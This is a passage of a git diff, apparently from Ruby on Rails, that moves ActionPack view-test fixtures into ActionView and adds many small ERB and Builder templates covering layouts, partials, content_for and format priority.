diff --git a/actionpack/test/fixtures/hello.html b/actionview/test/fixtures/actionpack/hello.html
similarity index 100%
rename from actionpack/test/fixtures/hello.html
rename to actionview/test/fixtures/actionpack/hello.html
diff --git a/actionpack/test/fixtures/layout_tests/alt/layouts/alt.erb b/actionview/test/fixtures/actionpack/layout_tests/alt/layouts/alt.erb
similarity index 100%
rename from actionpack/test/fixtures/layout_tests/alt/layouts/alt.erb
rename to actionview/test/fixtures/actionpack/layout_tests/alt/layouts/alt.erb
diff --git a/actionpack/test/fixtures/layout_tests/layouts/controller_name_space/nested.erb b/actionview/test/fixtures/actionpack/layout_tests/layouts/controller_name_space/nested.erb
similarity index 100%
rename from actionpack/test/fixtures/layout_tests/layouts/controller_name_space/nested.erb
rename to actionview/test/fixtures/actionpack/layout_tests/layouts/controller_name_space/nested.erb
diff --git a/actionpack/test/fixtures/layout_tests/layouts/item.erb b/actionview/test/fixtures/actionpack/layout_tests/layouts/item.erb
similarity index 100%
rename from actionpack/test/fixtures/layout_tests/layouts/item.erb
rename to actionview/test/fixtures/actionpack/layout_tests/layouts/item.erb
diff --git a/actionpack/test/fixtures/layout_tests/layouts/layout_test.erb b/actionview/test/fixtures/actionpack/layout_tests/layouts/layout_test.erb
similarity index 100%
rename from actionpack/test/fixtures/layout_tests/layouts/layout_test.erb
rename to actionview/test/fixtures/actionpack/layout_tests/layouts/layout_test.erb
diff --git a/actionpack/test/fixtures/layout_tests/layouts/multiple_extensions.html.erb b/actionview/test/fixtures/actionpack/layout_tests/layouts/multiple_extensions.html.erb
similarity index 100%
rename from actionpack/test/fixtures/layout_tests/layouts/multiple_extensions.html.erb
rename to actionview/test/fixtures/actionpack/layout_tests/layouts/multiple_extensions.html.erb
diff --git a/actionview/test/fixtures/actionpack/layout_tests/layouts/symlinked/symlinked_layout.erb b/actionview/test/fixtures/actionpack/layout_tests/layouts/symlinked/symlinked_layout.erb
new file mode 100644
index 0000000..bda57d0
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/layout_tests/layouts/symlinked/symlinked_layout.erb
@@ -0,0 +1,5 @@
+This is my layout
+
+<%= yield %>
+
+End.
diff --git a/actionpack/test/fixtures/layout_tests/layouts/third_party_template_library.mab b/actionview/test/fixtures/actionpack/layout_tests/layouts/third_party_template_library.mab
similarity index 100%
rename from actionpack/test/fixtures/layout_tests/layouts/third_party_template_library.mab
rename to actionview/test/fixtures/actionpack/layout_tests/layouts/third_party_template_library.mab
diff --git a/actionpack/test/fixtures/layout_tests/views/goodbye.erb b/actionview/test/fixtures/actionpack/layout_tests/views/goodbye.erb
similarity index 100%
rename from actionpack/test/fixtures/layout_tests/views/goodbye.erb
rename to actionview/test/fixtures/actionpack/layout_tests/views/goodbye.erb
diff --git a/actionpack/test/fixtures/layout_tests/views/hello.erb b/actionview/test/fixtures/actionpack/layout_tests/views/hello.erb
similarity index 100%
rename from actionpack/test/fixtures/layout_tests/views/hello.erb
rename to actionview/test/fixtures/actionpack/layout_tests/views/hello.erb
diff --git a/actionpack/test/fixtures/layouts/_column.html.erb b/actionview/test/fixtures/actionpack/layouts/_column.html.erb
similarity index 100%
copy from actionpack/test/fixtures/layouts/_column.html.erb
copy to actionview/test/fixtures/actionpack/layouts/_column.html.erb
diff --git a/actionview/test/fixtures/actionpack/layouts/_customers.erb b/actionview/test/fixtures/actionpack/layouts/_customers.erb
new file mode 100644
index 0000000..ae63f13
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/layouts/_customers.erb
@@ -0,0 +1 @@
+<title><%= yield Struct.new(:name).new("David") %></title>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/layouts/_partial_and_yield.erb b/actionview/test/fixtures/actionpack/layouts/_partial_and_yield.erb
similarity index 100%
copy from actionpack/test/fixtures/layouts/_partial_and_yield.erb
copy to actionview/test/fixtures/actionpack/layouts/_partial_and_yield.erb
diff --git a/actionpack/test/fixtures/layouts/_yield_only.erb b/actionview/test/fixtures/actionpack/layouts/_yield_only.erb
similarity index 100%
copy from actionpack/test/fixtures/layouts/_yield_only.erb
copy to actionview/test/fixtures/actionpack/layouts/_yield_only.erb
diff --git a/actionpack/test/fixtures/layouts/_yield_with_params.erb b/actionview/test/fixtures/actionpack/layouts/_yield_with_params.erb
similarity index 100%
copy from actionpack/test/fixtures/layouts/_yield_with_params.erb
copy to actionview/test/fixtures/actionpack/layouts/_yield_with_params.erb
diff --git a/actionview/test/fixtures/actionpack/layouts/block_with_layout.erb b/actionview/test/fixtures/actionpack/layouts/block_with_layout.erb
new file mode 100644
index 0000000..73ac833
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/layouts/block_with_layout.erb
@@ -0,0 +1,3 @@
+<%= render(:layout => "layout_for_partial", :locals => { :name => "Anthony" }) do %>Inside from first block in layout<% "Return value should be discarded" %><% end %>
+<%= yield %>
+<%= render(:layout => "layout_for_partial", :locals => { :name => "Ramm" }) do %>Inside from second block in layout<% end %>
diff --git a/actionview/test/fixtures/actionpack/layouts/builder.builder b/actionview/test/fixtures/actionpack/layouts/builder.builder
new file mode 100644
index 0000000..7c7d4b2
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/layouts/builder.builder
@@ -0,0 +1,3 @@
+xml.wrapper do
+  xml << yield
+end
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/layouts/partial_with_layout.erb b/actionview/test/fixtures/actionpack/layouts/partial_with_layout.erb
new file mode 100644
index 0000000..a0349d7
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/layouts/partial_with_layout.erb
@@ -0,0 +1,3 @@
+<%= render( :layout => "layout_for_partial", :partial => "partial_for_use_in_layout", :locals => {:name => 'Anthony' } ) %>
+<%= yield %>
+<%= render( :layout => "layout_for_partial", :partial => "partial_for_use_in_layout", :locals => {:name => 'Ramm' } ) %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/layouts/standard.html.erb b/actionview/test/fixtures/actionpack/layouts/standard.html.erb
new file mode 100644
index 0000000..5e6c24f
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/layouts/standard.html.erb
@@ -0,0 +1 @@
+<html><%= yield %><%= @variable_for_layout %></html>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/layouts/streaming.erb b/actionview/test/fixtures/actionpack/layouts/streaming.erb
similarity index 100%
copy from actionpack/test/fixtures/layouts/streaming.erb
copy to actionview/test/fixtures/actionpack/layouts/streaming.erb
diff --git a/actionview/test/fixtures/actionpack/layouts/talk_from_action.erb b/actionview/test/fixtures/actionpack/layouts/talk_from_action.erb
new file mode 100644
index 0000000..bf53fdb
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/layouts/talk_from_action.erb
@@ -0,0 +1,2 @@
+<title><%= @title || yield(:title) %></title>
+<%= yield -%>
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/layouts/with_html_partial.html.erb b/actionview/test/fixtures/actionpack/layouts/with_html_partial.html.erb
new file mode 100644
index 0000000..fd2896a
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/layouts/with_html_partial.html.erb
@@ -0,0 +1 @@
+<%= render :partial => "partial_only_html" %><%= yield %>
diff --git a/actionview/test/fixtures/actionpack/layouts/xhr.html.erb b/actionview/test/fixtures/actionpack/layouts/xhr.html.erb
new file mode 100644
index 0000000..8528532
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/layouts/xhr.html.erb
@@ -0,0 +1,2 @@
+XHR!
+<%= yield %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/layouts/yield.erb b/actionview/test/fixtures/actionpack/layouts/yield.erb
new file mode 100644
index 0000000..482dc90
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/layouts/yield.erb
@@ -0,0 +1,2 @@
+<title><%= yield :title %></title>
+<%= yield %>
diff --git a/actionpack/test/fixtures/layouts/yield_with_render_inline_inside.erb b/actionview/test/fixtures/actionpack/layouts/yield_with_render_inline_inside.erb
similarity index 100%
copy from actionpack/test/fixtures/layouts/yield_with_render_inline_inside.erb
copy to actionview/test/fixtures/actionpack/layouts/yield_with_render_inline_inside.erb
diff --git a/actionpack/test/fixtures/layouts/yield_with_render_partial_inside.erb b/actionview/test/fixtures/actionpack/layouts/yield_with_render_partial_inside.erb
similarity index 100%
copy from actionpack/test/fixtures/layouts/yield_with_render_partial_inside.erb
copy to actionview/test/fixtures/actionpack/layouts/yield_with_render_partial_inside.erb
diff --git a/actionpack/test/fixtures/quiz/questions/_question.html.erb b/actionview/test/fixtures/actionpack/quiz/questions/_question.html.erb
similarity index 100%
rename from actionpack/test/fixtures/quiz/questions/_question.html.erb
rename to actionview/test/fixtures/actionpack/quiz/questions/_question.html.erb
diff --git a/actionview/test/fixtures/actionpack/shared.html.erb b/actionview/test/fixtures/actionpack/shared.html.erb
new file mode 100644
index 0000000..af262fc
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/shared.html.erb
@@ -0,0 +1 @@
+Elastica
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/_changing_priority.html.erb b/actionview/test/fixtures/actionpack/test/_changing_priority.html.erb
new file mode 100644
index 0000000..3225efc
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_changing_priority.html.erb
@@ -0,0 +1 @@
+HTML
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/_changing_priority.json.erb b/actionview/test/fixtures/actionpack/test/_changing_priority.json.erb
new file mode 100644
index 0000000..7fa41dc
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_changing_priority.json.erb
@@ -0,0 +1 @@
+JSON
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/_counter.html.erb b/actionview/test/fixtures/actionpack/test/_counter.html.erb
new file mode 100644
index 0000000..fd245bf
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_counter.html.erb
@@ -0,0 +1 @@
+<%= counter_counter %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/_customer.erb b/actionview/test/fixtures/actionpack/test/_customer.erb
new file mode 100644
index 0000000..d8220af
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_customer.erb
@@ -0,0 +1 @@
+Hello: <%= customer.name rescue "Anonymous" %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/_customer_counter.erb b/actionview/test/fixtures/actionpack/test/_customer_counter.erb
new file mode 100644
index 0000000..3435979
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_customer_counter.erb
@@ -0,0 +1 @@
+<%= customer_counter.name %><%= customer_counter_counter %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/_customer_counter_with_as.erb b/actionview/test/fixtures/actionpack/test/_customer_counter_with_as.erb
new file mode 100644
index 0000000..1241eb6
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_customer_counter_with_as.erb
@@ -0,0 +1 @@
+<%= client.name %><%= client_counter %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/_customer_greeting.erb b/actionview/test/fixtures/actionpack/test/_customer_greeting.erb
new file mode 100644
index 0000000..6acbcb2
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_customer_greeting.erb
@@ -0,0 +1 @@
+<%= greeting %>: <%= customer_greeting.name %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/_customer_with_var.erb b/actionview/test/fixtures/actionpack/test/_customer_with_var.erb
new file mode 100644
index 0000000..00047dd
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_customer_with_var.erb
@@ -0,0 +1 @@
+<%= customer.name %> <%= customer.name %> <%= customer.name %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/_directory/_partial_with_locales.html.erb b/actionview/test/fixtures/actionpack/test/_directory/_partial_with_locales.html.erb
new file mode 100644
index 0000000..1cc8d41
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_directory/_partial_with_locales.html.erb
@@ -0,0 +1 @@
+Hello <%= name %>
diff --git a/actionview/test/fixtures/actionpack/test/_first_json_partial.json.erb b/actionview/test/fixtures/actionpack/test/_first_json_partial.json.erb
new file mode 100644
index 0000000..790ee89
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_first_json_partial.json.erb
@@ -0,0 +1 @@
+<%= render :partial => "test/second_json_partial" %>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/fun/games/_form.erb b/actionview/test/fixtures/actionpack/test/_form.erb
similarity index 100%
rename from actionpack/test/fixtures/fun/games/_form.erb
rename to actionview/test/fixtures/actionpack/test/_form.erb
diff --git a/actionview/test/fixtures/actionpack/test/_hash_greeting.erb b/actionview/test/fixtures/actionpack/test/_hash_greeting.erb
new file mode 100644
index 0000000..fc54a36
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_hash_greeting.erb
@@ -0,0 +1 @@
+<%= greeting %>: <%= hash_greeting[:first_name] %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/_hash_object.erb b/actionview/test/fixtures/actionpack/test/_hash_object.erb
new file mode 100644
index 0000000..34a92c6
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_hash_object.erb
@@ -0,0 +1,2 @@
+<%= hash_object[:first_name] %>
+<%= hash_object[:first_name].reverse %>
diff --git a/actionview/test/fixtures/actionpack/test/_hello.builder b/actionview/test/fixtures/actionpack/test/_hello.builder
new file mode 100644
index 0000000..ef52f63
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_hello.builder
@@ -0,0 +1 @@
+xm.hello
\ No newline at end of file
diff --git a/actionpack/test/fixtures/digestor/level/below/_header.html.erb b/actionview/test/fixtures/actionpack/test/_json_change_priority.json.erb
similarity index 100%
copy from actionpack/test/fixtures/digestor/level/below/_header.html.erb
copy to actionview/test/fixtures/actionpack/test/_json_change_priority.json.erb
diff --git a/actionview/test/fixtures/actionpack/test/_labelling_form.erb b/actionview/test/fixtures/actionpack/test/_labelling_form.erb
new file mode 100644
index 0000000..1b95763
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_labelling_form.erb
@@ -0,0 +1 @@
+<%= labelling_form.label :title %>
diff --git a/actionview/test/fixtures/actionpack/test/_layout_for_partial.html.erb b/actionview/test/fixtures/actionpack/test/_layout_for_partial.html.erb
new file mode 100644
index 0000000..666efad
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_layout_for_partial.html.erb
@@ -0,0 +1,3 @@
+Before (<%= name %>)
+<%= yield %>
+After
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/_partial.erb b/actionview/test/fixtures/actionpack/test/_partial.erb
new file mode 100644
index 0000000..e466dcb
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_partial.erb
@@ -0,0 +1 @@
+invalid
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/_partial.html.erb b/actionview/test/fixtures/actionpack/test/_partial.html.erb
new file mode 100644
index 0000000..e39f6c9
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_partial.html.erb
@@ -0,0 +1 @@
+partial html
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/_partial.js.erb b/actionview/test/fixtures/actionpack/test/_partial.js.erb
new file mode 100644
index 0000000..b350cdd
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_partial.js.erb
@@ -0,0 +1 @@
+partial js
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/_partial_for_use_in_layout.html.erb b/actionview/test/fixtures/actionpack/test/_partial_for_use_in_layout.html.erb
new file mode 100644
index 0000000..3a03a64
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_partial_for_use_in_layout.html.erb
@@ -0,0 +1 @@
+Inside from partial (<%= name %>)
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/_partial_html_erb.html.erb b/actionview/test/fixtures/actionpack/test/_partial_html_erb.html.erb
new file mode 100644
index 0000000..4b54875
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_partial_html_erb.html.erb
@@ -0,0 +1 @@
+<%= "partial.html.erb" %>
diff --git a/actionview/test/fixtures/actionpack/test/_partial_name_local_variable.erb b/actionview/test/fixtures/actionpack/test/_partial_name_local_variable.erb
new file mode 100644
index 0000000..cc3a91c
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_partial_name_local_variable.erb
@@ -0,0 +1 @@
+<%= partial_name_local_variable %>
diff --git a/actionview/test/fixtures/actionpack/test/_partial_only.erb b/actionview/test/fixtures/actionpack/test/_partial_only.erb
new file mode 100644
index 0000000..a44b3ee
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_partial_only.erb
@@ -0,0 +1 @@
+only partial
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/_partial_only_html.html b/actionview/test/fixtures/actionpack/test/_partial_only_html.html
new file mode 100644
index 0000000..d2d630b
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_partial_only_html.html
@@ -0,0 +1 @@
+only html partial
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/_partial_with_partial.erb b/actionview/test/fixtures/actionpack/test/_partial_with_partial.erb
new file mode 100644
index 0000000..ee0d503
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_partial_with_partial.erb
@@ -0,0 +1,2 @@
+<%= render 'test/partial' %>
+partial with partial
diff --git a/actionview/test/fixtures/actionpack/test/_person.erb b/actionview/test/fixtures/actionpack/test/_person.erb
new file mode 100644
index 0000000..b2e5688
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_person.erb
@@ -0,0 +1,2 @@
+Second: <%= name %>
+Third: <%= @name %>
diff --git a/actionview/test/fixtures/actionpack/test/_raise_indentation.html.erb b/actionview/test/fixtures/actionpack/test/_raise_indentation.html.erb
new file mode 100644
index 0000000..f9a9372
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_raise_indentation.html.erb
@@ -0,0 +1,13 @@
+<p>First paragraph</p>
+<p>Second paragraph</p>
+<p>Third paragraph</p>
+<p>Fourth paragraph</p>
+<p>Fifth paragraph</p>
+<p>Sixth paragraph</p>
+<p>Seventh paragraph</p>
+<p>Eight paragraph</p>
+<p>Ninth paragraph</p>
+<p>Tenth paragraph</p>
+<%= raise "error here!" %>
+<p>Eleventh paragraph</p>
+<p>Twelfth paragraph</p>
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/_second_json_partial.json.erb b/actionview/test/fixtures/actionpack/test/_second_json_partial.json.erb
new file mode 100644
index 0000000..5ebb7f1
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_second_json_partial.json.erb
@@ -0,0 +1 @@
+Third level
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/action_talk_to_layout.erb b/actionview/test/fixtures/actionpack/test/action_talk_to_layout.erb
new file mode 100644
index 0000000..36e896d
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/action_talk_to_layout.erb
@@ -0,0 +1,2 @@
+<% @title = "Talking to the layout" -%>
+Action was here!
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/calling_partial_with_layout.html.erb b/actionview/test/fixtures/actionpack/test/calling_partial_with_layout.html.erb
new file mode 100644
index 0000000..ac44bc0
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/calling_partial_with_layout.html.erb
@@ -0,0 +1 @@
+<%= render(:layout => "layout_for_partial", :partial => "partial_for_use_in_layout", :locals => { :name => "David" }) %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/capturing.erb b/actionview/test/fixtures/actionpack/test/capturing.erb
new file mode 100644
index 0000000..1addaa4
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/capturing.erb
@@ -0,0 +1,4 @@
+<% days = capture do %>
+  Dreamy days
+<% end %>
+<%= days %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/change_priority.html.erb b/actionview/test/fixtures/actionpack/test/change_priority.html.erb
new file mode 100644
index 0000000..5618977
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/change_priority.html.erb
@@ -0,0 +1,2 @@
+<%= render :partial => "test/json_change_priority", formats: :json %>
+HTML Template, but <%= render :partial => "test/changing_priority" %> partial
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/content_for.erb b/actionview/test/fixtures/actionpack/test/content_for.erb
new file mode 100644
index 0000000..1fb829f
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/content_for.erb
@@ -0,0 +1 @@
+<% content_for :title do -%>Putting stuff in the title!<% end -%>Great stuff!
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/content_for_concatenated.erb b/actionview/test/fixtures/actionpack/test/content_for_concatenated.erb
new file mode 100644
index 0000000..e65f629
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/content_for_concatenated.erb
@@ -0,0 +1,3 @@
+<% content_for :title, "Putting stuff "
+   content_for :title, "in the title!" -%>
+Great stuff!
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/content_for_with_parameter.erb b/actionview/test/fixtures/actionpack/test/content_for_with_parameter.erb
new file mode 100644
index 0000000..aeb6f73
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/content_for_with_parameter.erb
@@ -0,0 +1,2 @@
+<% content_for :title, "Putting stuff in the title!" -%>
+Great stuff!
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/dot.directory/render_file_with_ivar.erb b/actionview/test/fixtures/actionpack/test/dot.directory/render_file_with_ivar.erb
new file mode 100644
index 0000000..8b8a449
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/dot.directory/render_file_with_ivar.erb
@@ -0,0 +1 @@
+The secret is <%= @secret %>
diff --git a/actionview/test/fixtures/actionpack/test/formatted_html_erb.html.erb b/actionview/test/fixtures/actionpack/test/formatted_html_erb.html.erb
new file mode 100644
index 0000000..1c64efa
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/formatted_html_erb.html.erb
@@ -0,0 +1 @@
+formatted html erb
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/formatted_xml_erb.builder b/actionview/test/fixtures/actionpack/test/formatted_xml_erb.builder
new file mode 100644
index 0000000..14fd354
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/formatted_xml_erb.builder
@@ -0,0 +1 @@
+xml.test 'failed'
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/formatted_xml_erb.html.erb b/actionview/test/fixtures/actionpack/test/formatted_xml_erb.html.erb
new file mode 100644
index 0000000..0c855a6
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/formatted_xml_erb.html.erb
@@ -0,0 +1 @@
+<test>passed formatted html erb</test>
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/formatted_xml_erb.xml.erb b/actionview/test/fixtures/actionpack/test/formatted_xml_erb.xml.erb
new file mode 100644
index 0000000..6ca09d5
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/formatted_xml_erb.xml.erb
@@ -0,0 +1 @@
+<test>passed formatted xml erb</test>
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/greeting.html.erb b/actionview/test/fixtures/actionpack/test/greeting.html.erb
new file mode 100644
index 0000000..62fb029
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/greeting.html.erb
@@ -0,0 +1 @@
+<p>This is grand!</p>
diff --git a/actionview/test/fixtures/actionpack/test/greeting.xml.erb b/actionview/test/fixtures/actionpack/test/greeting.xml.erb
new file mode 100644
index 0000000..62fb029
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/greeting.xml.erb
@@ -0,0 +1 @@
+<p>This is grand!</p>
diff --git a/actionview/test/fixtures/actionpack/test/hello,world.erb b/actionview/test/fixtures/actionpack/test/hello,world.erb
new file mode 100644
index 0000000..bc8fa5e
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/hello,world.erb
@@ -0,0 +1 @@
+Hello w*rld!
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/hello.builder b/actionview/test/fixtures/actionpack/test/hello.builder
new file mode 100644
index 0000000..a471553
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/hello.builder
@@ -0,0 +1,4 @@
+xml.html do
+  xml.p "Hello #{@name}"
+  xml << render(:file => "test/greeting")
+end
\ No newline at end of file
diff --git a/actionpack/test/fixtures/happy_path/render_action/hello_world.erb b/actionview/test/fixtures/actionpack/test/hello/hello.erb
similarity index 100%
copy from actionpack/test/fixtures/happy_path/render_action/hello_world.erb
copy to actionview/test/fixtures/actionpack/test/hello/hello.erb
diff --git a/actionpack/test/fixtures/happy_path/render_action/hello_world.erb b/actionview/test/fixtures/actionpack/test/hello_world.erb
similarity index 100%
copy from actionpack/test/fixtures/happy_path/render_action/hello_world.erb
copy to actionview/test/fixtures/actionpack/test/hello_world.erb
diff --git a/actionview/test/fixtures/actionpack/test/hello_world_container.builder b/actionview/test/fixtures/actionpack/test/hello_world_container.builder
new file mode 100644
index 0000000..e48d75c
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/hello_world_container.builder
@@ -0,0 +1,3 @@
+xml.test do
+  render :partial => 'hello', :locals => { :xm => xml }
+end
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/hello_world_from_rxml.builder b/actionview/test/fixtures/actionpack/test/hello_world_from_rxml.builder
new file mode 100644
index 0000000..619a97b
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/hello_world_from_rxml.builder
@@ -0,0 +1,3 @@
+xml.html do
+  xml.p "Hello"
+end
diff --git a/actionpack/test/fixtures/happy_path/render_action/hello_world.erb b/actionview/test/fixtures/actionpack/test/hello_world_with_layout_false.erb
similarity index 100%
copy from actionpack/test/fixtures/happy_path/render_action/hello_world.erb
copy to actionview/test/fixtures/actionpack/test/hello_world_with_layout_false.erb
diff --git a/actionview/test/fixtures/actionpack/test/hello_world_with_partial.html.erb b/actionview/test/fixtures/actionpack/test/hello_world_with_partial.html.erb
new file mode 100644
index 0000000..ec31545
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/hello_world_with_partial.html.erb
@@ -0,0 +1,2 @@
+Hello world!
+<%= render '/test/partial' %>
diff --git a/actionview/test/fixtures/actionpack/test/hello_xml_world.builder b/actionview/test/fixtures/actionpack/test/hello_xml_world.builder
new file mode 100644
index 0000000..e7081b8
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/hello_xml_world.builder
@@ -0,0 +1,11 @@
+xml.html do
+  xml.head do
+    xml.title "Hello World"
+  end
+
+  xml.body do
+    xml.p "abes"
+    xml.p "monks"
+    xml.p "wiseguys"
+  end
+end
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/html_template.html.erb b/actionview/test/fixtures/actionpack/test/html_template.html.erb
new file mode 100644
index 0000000..1bbc2b7
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/html_template.html.erb
@@ -0,0 +1 @@
+<%= render :partial => "test/first_json_partial", formats: :json %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/hyphen-ated.erb b/actionview/test/fixtures/actionpack/test/hyphen-ated.erb
new file mode 100644
index 0000000..cd08755
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/hyphen-ated.erb
@@ -0,0 +1 @@
+Hello world!
diff --git a/actionview/test/fixtures/actionpack/test/implicit_content_type.atom.builder b/actionview/test/fixtures/actionpack/test/implicit_content_type.atom.builder
new file mode 100644
index 0000000..2fcb32d
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/implicit_content_type.atom.builder
@@ -0,0 +1,2 @@
+xml.atom do
+end
diff --git a/actionview/test/fixtures/actionpack/test/list.erb b/actionview/test/fixtures/actionpack/test/list.erb
new file mode 100644
index 0000000..0a4bda5
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/list.erb
@@ -0,0 +1 @@
+<%= @test_unchanged = 'goodbye' %><%= render :partial => 'customer', :collection => @customers %><%= @test_unchanged %>
diff --git a/actionview/test/fixtures/actionpack/test/non_erb_block_content_for.builder b/actionview/test/fixtures/actionpack/test/non_erb_block_content_for.builder
new file mode 100644
index 0000000..d539a42
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/non_erb_block_content_for.builder
@@ -0,0 +1,4 @@
+content_for :title do
+  'Putting stuff in the title!'
+end
+xml << "Great stuff!"
diff --git a/actionview/test/fixtures/actionpack/test/potential_conflicts.erb b/actionview/test/fixtures/actionpack/test/potential_conflicts.erb
new file mode 100644
index 0000000..a5e964e
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/potential_conflicts.erb
@@ -0,0 +1,4 @@
+First: <%= @name %>
+<%= render :partial => "person", :locals => { :name => "Stephan" } -%>
+Fourth: <%= @name %>
+Fifth: <%= name %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/proper_block_detection.erb b/actionview/test/fixtures/actionpack/test/proper_block_detection.erb
new file mode 100644
index 0000000..b55efbb
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/proper_block_detection.erb
@@ -0,0 +1 @@
+<%= @todo %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/render_file_from_template.html.erb b/actionview/test/fixtures/actionpack/test/render_file_from_template.html.erb
new file mode 100644
index 0000000..fde9f4b
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/render_file_from_template.html.erb
@@ -0,0 +1 @@
+<%= render :file => @path %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/render_file_with_ivar.erb b/actionview/test/fixtures/actionpack/test/render_file_with_ivar.erb
new file mode 100644
index 0000000..8b8a449
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/render_file_with_ivar.erb
